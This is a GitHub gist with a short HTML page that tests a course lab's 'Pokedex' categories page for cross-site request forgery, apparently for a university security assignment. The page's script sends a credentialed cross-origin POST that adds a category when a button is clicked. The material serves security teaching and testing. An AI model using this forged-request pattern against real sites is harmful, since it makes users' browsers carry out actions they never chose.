Skip to content

Instantly share code, notes, and snippets.

@viktorfa
Created April 19, 2018 13:01
Show Gist options
  • Save viktorfa/98cba1cb92641d079cf07298e6c8ead8 to your computer and use it in GitHub Desktop.
Save viktorfa/98cba1cb92641d079cf07298e6c8ead8 to your computer and use it in GitHub Desktop.
Test the Pokedex categories page for CSRF attacks
<html>
<head>
</head>
<body>
<script>
const headers = new Headers({
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://tdt4237.idi.ntnu.no:5017/categories/add',
'Origin': 'http://tdt4237.idi.ntnu.no:5017',
'Host': 'http://tdt4237.idi.ntnu.no:5017',
})
const formData = {
title: 'title3',
description: 'desc3',
}
const body = Object.keys(formData).map((key) => {
return `${encodeURIComponent(key)}=${encodeURIComponent(formData[key])}`;
}).join('&');
console.log("body");
console.log(body);
const sendRequest = () => {
fetch('http://tdt4237.idi.ntnu.no:5017/categories/add', {method: 'POST', mode: 'no-cors', headers, credentials: 'include', body,}).then(() => {
console.log("Sent request")
})
}
</script>
<button onclick="sendRequest()">
Klikk
</button>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment